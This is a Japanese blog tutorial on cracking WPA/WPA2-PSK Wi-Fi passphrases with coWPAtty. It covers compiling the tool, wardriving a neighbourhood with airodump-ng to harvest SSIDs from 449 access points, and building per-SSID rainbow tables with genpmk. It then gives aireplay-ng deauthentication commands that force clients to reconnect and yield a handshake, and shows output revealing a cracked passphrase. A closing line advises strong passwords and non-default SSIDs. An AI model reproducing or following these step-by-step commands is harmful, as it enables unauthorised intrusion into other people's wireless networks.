coWPAttyとはWPA-PSK,WPA2-PSKの解読ツール
aircrack-ngではWPA-PSKを辞書攻撃する際に辞書ファイルから1行ずつ抜き出して比較するのに対し、
coWPAttyはあらかじめSSIDと辞書ファイルで事前計算を行いレインボーテーブルを作成しておき、
それを元にクラックを行うので解読が劇的に早い。
coWPAttyをコンパイルしてみる
下記のリンクからcowpatty-<version>.tgzをダウンロード
・
http://wirelessdefence.org/Contents/coWPAttyMain.htm・
http://www.willhackforsushi.com/Cowpatty.htmlコンパイル時に必要なライブラリlibpcapとlibsslをインストール
$
sudo apt-get install libpcap-dev libssl-dev展開、コンパイル
$
tar xf cowpatty-*.tgz$
cd cowpatty*$
makecowpattyが本体
genpmkがレインボーテーブルを作成するツール。
Usage
cowpatty 4.6 - WPA-PSK dictionary attack. <jwright@hasborg.com>
cowpatty: Must supply a pcap file with -r
Usage: cowpatty [options]
-f Dictionary file
-d Hash file (genpmk)
-r Packet capture file
-s Network SSID (enclose in quotes if SSID includes spaces)
-2 Use frames 1 and 2 or 2 and 3 for key attack (nonstrict mode)
-c Check for valid 4-way frames, does not crack
-h Print this help information and exit
-v Print verbose information (more -v for more verbosity)
-V Print program version and exit
genpmk 1.1 - WPA-PSK precomputation attack. <jwright@hasborg.com>
genpmk: Must specify a dictionary file with -f
Usage: genpmk [options]
-f Dictionary file
-d Output hash file
-s Network SSID
-h Print this help information and exit
-v Print verbose information (more -v for more verbosity)
-V Print program version and exit
After precomputing the hash file, run cowpatty with the -d argument.
レインボーテーブルを作ってみる
前に紹介した気がするけど
http://www.renderlab.net/projects/WPA-tables/ここで33GBのWPAレインボーテーブルが公開されてたりする。
33GBつっても
SSID.zipと
9-final-wordlist.zipで作成されたテーブルらしい。
それなら自分の環境に合った物を自作した方が良いような気がす。
というわけでSSIDリストを作成するために、airodump-ngを動かしながら近所の団地辺りをWarサイクリングしてきた。

1時間半ほどで449台(仮想ESSIDも含む)のAPの情報を入手
ちなみに
・WPA(2)で暗号化 230/449
・WEPで暗号化 168/449
・暗号化無し 52/449
全体の約45%のAPが脆弱なセキュリティという現状
airodump-ngの-wオプションで出力されるcsvファイルは、左から「BSSID, First time seen, Last time seen, channel, Speed, Privacy, Cipher, Authentication, Power, # beacons, # IV, LAN IP, ID-length, ESSID, Key」でSSIDのカラムは14番目。
SSIDリストを作成
$
cat -d, -f14 cap-01.csv|tr -d ' ' |uniq > SSID.lstテキストエディタで空白行やランダムなSSIDを削除して完成
パスワード辞書はfree password dictionaryとかpassword listとかググって落っことしたものをまとめてみた。
内容は主に専門用語,プログラミング言語,数字、英単語など。
SSIDリストとパスワード辞書をうpしておく
http://www1.axfc.net/uploader/H/so/145161&key=dicハッシュをまとめて作成
$
for i in `cat SSID.lst`; do ./genpmk -f password.dic -s $i -d $i.hash; donegenpmk 1.1 - WPA-PSK precomputation attack. <jwright@hasborg.com>
File default.hash does not exist, creating.
key no. 1000: achalasia
key no. 2000: admittable
key no. 3000: aglipayan
key no. 4000: allokurtic
key no. 5000: amphicytula
key no. 6000: angiocarpian
key no. 7000: anthracomartian
key no. 8000: antisubstance
:
1つのハッシュを作成するのに2.8GHzのデュアルコアCPUで約2時間掛かった。
APをクラックしてみる
やり方はWPAハンドシェイクパケットを盗むところまでaircrack-ngの方法と同じ
$
sudo airmon-ng start wlan0$
sudo airodump-ng -c 2 -w planex mon0クライアントを切断させてハンドシェイクパケットを入手
$
sudo aireplay-ng -0 3 -a **:**:**:**:**:** -c **:**:**:**:**:** mon0cowpattyでクラック
$
./cowpatty -d planex.hash -r planex-01.cap -s planex-user-wps cowpatty 4.6 - WPA-PSK dictionary attack. <jwright@hasborg.com>
Collected all necessary data to mount crack against WPA2/PSK passphrase.
Starting dictionary attack. Please be patient.
The PSK is "abominable".
27 passphrases tested in 0.00 seconds: 36635.01 passphrases/second
解読速度は、1.6GHzシングルコアCPUのネットブックで36635key/sという超高速で、コンマ1秒も掛からずにパスワードが表示された。
クラックさせないためには、
暗号化するのはもちろんのこと、WPAだからと言って単純なパスワードを設定したり、
デフォルトのSSIDを使い続けるのも避けた方が良い。
- 関連記事
-